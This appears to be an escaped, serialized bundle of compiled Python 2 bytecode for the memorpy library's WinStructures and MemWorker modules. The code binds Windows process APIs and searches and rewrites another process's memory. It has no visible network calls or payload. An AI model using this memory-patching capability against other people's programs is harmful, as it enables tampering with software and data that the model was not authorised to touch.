0i\\\\x02\\\\x00\\\\x00\\\\x00i\\\\x04\\\\x00\\\\x00\\\\x00i\\\\xff\\\\x03\\\\x1f\\\\x00(\\\\t\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00INHERITt\\\\x0c\\\\x00\\\\x00\\\\x00SNAPHEAPLISTt\\\\n\\\\x00\\\\x00\\\\x00SNAPMODULEt\\\\x0c\\\\x00\\\\x00\\\\x00SNAPMODULE32t\\\\x0b\\\\x00\\\\x00\\\\x00SNAPPROCESSt\\\\n\\\\x00\\\\x00\\\\x00SNAPTHREADt\\\\x03\\\\x00\\\\x00\\\\x00ALL(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyRO\\\\x00\\\\x00\\\\x00p\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01i@\\\\x00\\\\x00\\\\x00i \\\\x00\\\\x00\\\\x00i\\\\x02\\\\x00\\\\x00\\\\x00i\\\\x04\\\\x00\\\\x00\\\\x00i\\\\x00\\\\x02\\\\x00\\\\x00i\\\\x00\\\\x04\\\\x00\\\\x00i\\\\x00\\\\x01\\\\x00\\\\x00i\\\\x00\\\\x10\\\\x00\\\\x00i\\\\x00\\\\x00\\\\x01\\\\x00i\\\\x00 \\\\x00\\\\x00i\\\\x00\\\\x00\\\\x00 N(B\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00ctypesR\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x0c\\\\x00\\\\x00\\\\x00R\\\\r\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\x0f\\\\x00\\\\x00\\\\x00t\\\\x0f\\\\x00\\\\x00\\\\x00ctypes.wintypesR4\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00t\\\\x14\\\\x00\\\\x00\\\\x00PSECURITY_DESCRIPTORR\\\\x1b\\\\x00\\\\x00\\\\x00R#\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00R5\\\\x00\\\\x00\\\\x00RB\\\\x00\\\\x00\\\\x00RJ\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00objectRO\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00kernel32t\\\\r\\\\x00\\\\x00\\\\x00Module32Firstt\\\\x08\\\\x00\\\\x00\\\\x00argtypest\\\\x07\\\\x00\\\\x00\\\\x00rettypet\\\\x0c\\\\x00\\\\x00\\\\x00Module32Nextt\\\\x0e\\\\x00\\\\x00\\\\x00Process32Firstt\\\\r\\\\x00\\\\x00\\\\x00Process32Nextt\\\\x18\\\\x00\\\\x00\\\\x00CreateToolhelp32Snapshott\\\\x07\\\\x00\\\\x00\\\\x00reltypet\\\\x0b\\\\x00\\\\x00\\\\x00CloseHandlet\\\\x0b\\\\x00\\\\x00\\\\x00OpenProcesst\\\\x08\\\\x00\\\\x00\\\\x00advapi32t\\\\x10\\\\x00\\\\x00\\\\x00OpenProcessTokent\\\\x06\\\\x00\\\\x00\\\\x00HANDLER\\\\x19\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00BOOLt\\\\x07\\\\x00\\\\x00\\\\x00restypet\\\\x11\\\\x00\\\\x00\\\\x00ReadProcessMemoryt\\\\x07\\\\x00\\\\x00\\\\x00LPCVOIDR3\\\\x00\\\\x00\\\\x00t\\\\x12\\\\x00\\\\x00\\\\x00WriteProcessMemoryt\\\\x04\\\\x00\\\\x00\\\\x00Nonet\\\\x1a\\\\x00\\\\x00\\\\x00NtWow64ReadVirtualMemory64t\\\\x05\\\\x00\\\\x00\\\\x00ntdllt\\\\x0e\\\\x00\\\\x00\\\\x00VirtualQueryExt\\\\x16\\\\x00\\\\x00\\\\x00PAGE_EXECUTE_READWRITEt\\\\x11\\\\x00\\\\x00\\\\x00PAGE_EXECUTE_READt\\\\r\\\\x00\\\\x00\\\\x00PAGE_READONLYt\\\\x0e\\\\x00\\\\x00\\\\x00PAGE_READWRITEt\\\\x0c\\\\x00\\\\x00\\\\x00PAGE_NOCACHEt\\\\x11\\\\x00\\\\x00\\\\x00PAGE_WRITECOMBINEt\\\\n\\\\x00\\\\x00\\\\x00PAGE_GUARDt\\\\n\\\\x00\\\\x00\\\\x00MEM_COMMITt\\\\x08\\\\x00\\\\x00\\\\x00MEM_FREEt\\\\x0b\\\\x00\\\\x00\\\\x00MEM_RESERVEt%\\\\x00\\\\x00\\\\x00UNPROTECTED_DACL_SECURITY_INFORMATIONt\\\\x19\\\\x00\\\\x00\\\\x00DACL_SECURITY_INFORMATION(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x11\\\\x00\\\\x00\\\\x00s\\\\x84\\\\x00\\\\x00\\\\x00j\\\\x01\\\\n\\\\x02\\\\x12\\\\x01\\\\t\\\\x02\\\\x06\\\\x03\\\\x16\\\\x08\\\\x0c\\\\x02\\\\x16\\\\n\\\\x16\\\\r\\\\x16\\\\x0e\\\\x16\\\\x10\\\\x16\\\\r\\\\x16\\\\n\\\\x16\\\\n\\\\x0c\\\\x01\\\\x15\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x15\\\\x01\\\\t\\\\x02\\\\x0c\\\\x01\\\\x15\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x15\\\\x01\\\\t\\\\x02\\\\x0c\\\\x01\\\\t\\\\x01\\\\x0f\\\\x02\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\t\\\\x02\\\\x0c\\\\x01\\\\x12\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x18\\\\x01\\\\t\\\\x02\\\\x0c\\\\x01\\\\x1e\\\\x01\\\\x0c\\\\x02\\\\x0c\\\\x01\\\\x1e\\\\x01\\\\t\\\\x02\\\\x12\\\\x01\\\\t\\\\x02\\\\x03\\\\x01\\\\x0c\\\\x01\\\\x1e\\\\x01\\\\r\\\\x01\\\\x03\\\\x01\\\\n\\\\x02\\\\x0c\\\\x01\\\\x1b\\\\x01\\\\t\\\\x06\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x02\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x02\\\\x06\\\\x01\\'\\np15\\nsS\\'memorpy/MemWorker.pyc\\'\\np16\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s\\\\xc4\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x01\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x02\\\\x00Z\\\\x02\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x03\\\\x00Z\\\\x03\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x04\\\\x00Z\\\\x04\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x05\\\\x00Z\\\\x05\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x06\\\\x00Z\\\\x06\\\\x00d\\\\x00\\\\x00d\\\\x02\\\\x00l\\\\x07\\\\x00m\\\\x07\\\\x00Z\\\\x07\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x08\\\\x00Z\\\\x08\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\t\\\\x00Z\\\\t\\\\x00d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\n\\\\x00Te\\\\x03\\\\x00j\\\\x0b\\\\x00d\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x0c\\\\x00e\\\\r\\\\x00e\\\\x02\\\\x00j\\\\x0e\\\\x00d\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x0f\\\\x00d\\\\x06\\\\x00e\\\\x10\\\\x00f\\\\x01\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x11\\\\x00d\\\\x01\\\\x00S(\\\\x08\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffN(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00Address(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00*t\\\\x07\\\\x00\\\\x00\\\\x00memorpys\\\\x06\\\\x00\\\\x00\\\\x00^plop$t\\\\t\\\\x00\\\\x00\\\\x00MemWorkerc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s\\\\xc9\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x12\\\\x00d\\\\x12\\\\x00d\\\\x12\\\\x00d\\\\x12\\\\x00e\\\\x03\\\\x00d\\\\x00\\\\x00\\\\x84\\\\x05\\\\x00Z\\\\x04\\\\x00d\\\\x01\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x05\\\\x00d\\\\x02\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x06\\\\x00d\\\\x03\\\\x00d\\\\x04\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x07\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x08\\\\x00d\\\\x06\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\t\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\n\\\\x00d\\\\x08\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0b\\\\x00d\\\\x12\\\\x00d\\\\x12\\\\x00d\\\\t\\\\x00\\\\x84\\\\x02\\\\x00Z\\\\x0c\\\\x00d\\\\n\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x08\\\\x00d\\\\x0b\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\r\\\\x00d\\\\x0c\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0e\\\\x00d\\\\x12\\\\x00d\\\\r\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x0f\\\\x00d\\\\x12\\\\x00d\\\\x0e\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x10\\\\x00d\\\\x0f\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x11\\\\x00d\\\\x10\\\\x00e\\\\x12\\\\x00e\\\\x13\\\\x00Bd\\\\x12\\\\x00d\\\\x12\\\\x00d\\\\x12\\\\x00d\\\\x11\\\\x00\\\\x84\\\\x05\\\\x00Z\\\\x14\\\\x00RS(\\\\x13\\\\x00\\\\x00\\\\x00c\\\\x06\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s%\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\x00\\\\x00d\\\\x01\\\\x00|\\\\x02\\\\x00d\\\\x02\\\\x00|\\\\x01\\\\x00d\\\\x03\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x00\\\\x03|\\\\x00\\\\x00_\\\\x01\\\\x00d\\\\x00\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00Nt\\\\x04\\\\x00\\\\x00\\\\x00namet\\\\x03\\\\x00\\\\x00\\\\x00pidt\\\\x05\\\\x00\\\\x00\\\\x00debug(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00Processt\\\\x07\\\\x00\\\\x00\\\\x00process(\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00selfR\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00end_offsett\\\\x0c\\\\x00\\\\x00\\\\x00start_offsetR\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x08\\\\x00\\\\x00\\\\x00__init__!\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\t\\\\x00\\\\x00\\\\x00__enter__$\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x11\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00close(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00typet\\\\x05\\\\x00\\\\x00\\\\x00valuet\\\\t\\\\x00\\\\x00\\\\x00traceback(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x08\\\\x00\\\\x00\\\\x00__exit__\\\\\\'\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01t\\\\x04\\\\x00\\\\x00\\\\x00uintc\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x19\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x01\\\\x00d\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x02\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x02S(\\\\x03\\\\x00\\\\x00\\\\x00sB\\\\x00\\\\x00\\\\x00 wrapper to instanciate an Address class for the memworker.processR\\\\x08\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00default_type(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x14\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR\\\\x00\\\\x00\\\\x00\\\\x00*\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sv\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x01\\\\x00xc\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x00\\\\x00D]R\\\\x00}\\\\x02\\\\x00xI\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00|\\\\x01\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00d\\\\x03\\\\x00|\\\\x02\\\\x00j\\\\x04\\\\x00d\\\\x04\\\\x00|\\\\x02\\\\x00j\\\\x05\\\\x00\\\\x83\\\\x01\\\\x03D] \\\\x00}\\\\x03\\\\x00t\\\\x06\\\\x00j\\\\x07\\\\x00d\\\\x05\\\\x00|\\\\x02\\\\x00j\\\\x08\\\\x00|\\\\x03\\\\x00f\\\\x02\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x01qJ\\\\x00Wq\\\\x1c\\\\x00Wd\\\\x00\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00Nt\\\\x05\\\\x00\\\\x00\\\\x00ftypet\\\\x05\\\\x00\\\\x00\\\\x00ulongR\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00found module %s => addr %s(\\\\t\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00intR\\\\x08\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00list_modulest\\\\n\\\\x00\\\\x00\\\\x00mem_searcht\\\\x0b\\\\x00\\\\x00\\\\x00modBaseAddrt\\\\x0b\\\\x00\\\\x00\\\\x00modBaseSizet\\\\x06\\\\x00\\\\x00\\\\x00loggerR\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00szModule(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00addresst\\\\x01\\\\x00\\\\x00\\\\x00mt\\\\x04\\\\x00\\\\x00\\\\x00addr(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x0e\\\\x00\\\\x00\\\\x00search_address.\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0c\\\\x01\\\\x16\\\\x01.\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s=\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x01\\\\x00|\\\\x02\\\\x00j\\\\x02\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x02\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x01\\\\x00t\\\\x04\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x02\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00s8\\\\x00\\\\x00\\\\x00 like search_replace_mem but works with unicode strings s\\\\t\\\\x00\\\\x00\\\\x00utf-16-le(\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00utilst\\\\r\\\\x00\\\\x00\\\\x00re_to_unicodet\\\\x06\\\\x00\\\\x00\\\\x00encodet\\\\x0b\\\\x00\\\\x00\\\\x00mem_replacet\\\\x02\\\\x00\\\\x00\\\\x00ret\\\\x07\\\\x00\\\\x00\\\\x00compilet\\\\x07\\\\x00\\\\x00\\\\x00UNICODE(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00regext\\\\x07\\\\x00\\\\x00\\\\x00replace(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x0c\\\\x00\\\\x00\\\\x00umem_replace4\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x0f\\\\x01\\\\x0f\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sp\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00}\\\\x03\\\\x00xc\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x01\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x01\\\\x01D]L\\\\x00}\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00j\\\\x03\\\\x00|\\\\x04\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00rQ\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00d\\\\x04\\\\x00|\\\\x04\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x01q\\\\x1c\\\\x00t\\\\x06\\\\x00}\\\\x03\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00d\\\\x05\\\\x00|\\\\x04\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x01q\\\\x1c\\\\x00W|\\\\x03\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00s?\\\\x00\\\\x00\\\\x00 search memory for a pattern and replace all found occurrences R\\\\x15\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00s\\\\x1e\\\\x00\\\\x00\\\\x00Write at offset %s succeeded !s\\\\x1b\\\\x00\\\\x00\\\\x00Write at offset %s failed !(\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00TrueR\\\\x19\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00write_bytesR\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00False(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00R*\\\\x00\\\\x00\\\\x00t\\\\x10\\\\x00\\\\x00\\\\x00allWritesSucceedR\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR%\\\\x00\\\\x00\\\\x00:\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x06\\\\x01\\\\x1c\\\\x01\\\\x1b\\\\x01\\\\x14\\\\x02\\\\x06\\\\x01\\\\x15\\\\x02c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00s>\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x01\\\\x00x(\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00t\\\\x03\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x01\\\\x01D]\\\\x0b\\\\x00}\\\\x02\\\\x00|\\\\x02\\\\x00V\\\\x01q+\\\\x00Wd\\\\x03\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00s0\\\\x00\\\\x00\\\\x00 like mem_search but works with unicode strings R\\\\x15\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00N(\\\\x04\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00R#\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00str(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00i(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x0b\\\\x00\\\\x00\\\\x00umem_searchF\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x0f\\\\x01\"\\\\x01c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x94\\\\x00\\\\x00\\\\x00d\\\\x01\\\\x00}\\\\x04\\\\x00xl\\\\x00|\\\\x01\\\\x00D]d\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x05\\\\x00}\\\\x06\\\\x00|\\\\x06\\\\x00d\\\\x02\\\\x00k\\\\x02\\\\x00s1\\\\x00|\\\\x06\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00ra\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x04\\\\x00t\\\\x02\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x07\\\\x00|\\\\x04\\\\x00d\\\\x05\\\\x00|\\\\x07\\\\x00d\\\\x06\\\\x00d\\\\x07\\\\x00!\\\\x177}\\\\x04\\\\x00q\\\\r\\\\x00t\\\\x03\\\\x00d\\\\x08\\\\x00|\\\\x06\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00q\\\\r\\\\x00W|\\\\x00\\\\x00j\\\\x04\\\\x00|\\\\x04\\\\x00d\\\\t\\\\x00d\\\\n\\\\x00d\\\\x0b\\\\x00|\\\\x02\\\\x00d\\\\x0c\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x03S(\\\\r\\\\x00\\\\x00\\\\x00Nt\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00ft\\\\x05\\\\x00\\\\x00\\\\x00floats\\\\x02\\\\x00\\\\x00\\\\x00<fs\\\\x02\\\\x00\\\\x00\\\\x00..i\\\\x02\\\\x00\\\\x00\\\\x00i\\\\x04\\\\x00\\\\x00\\\\x00s\\\\x0f\\\\x00\\\\x00\\\\x00unknown type 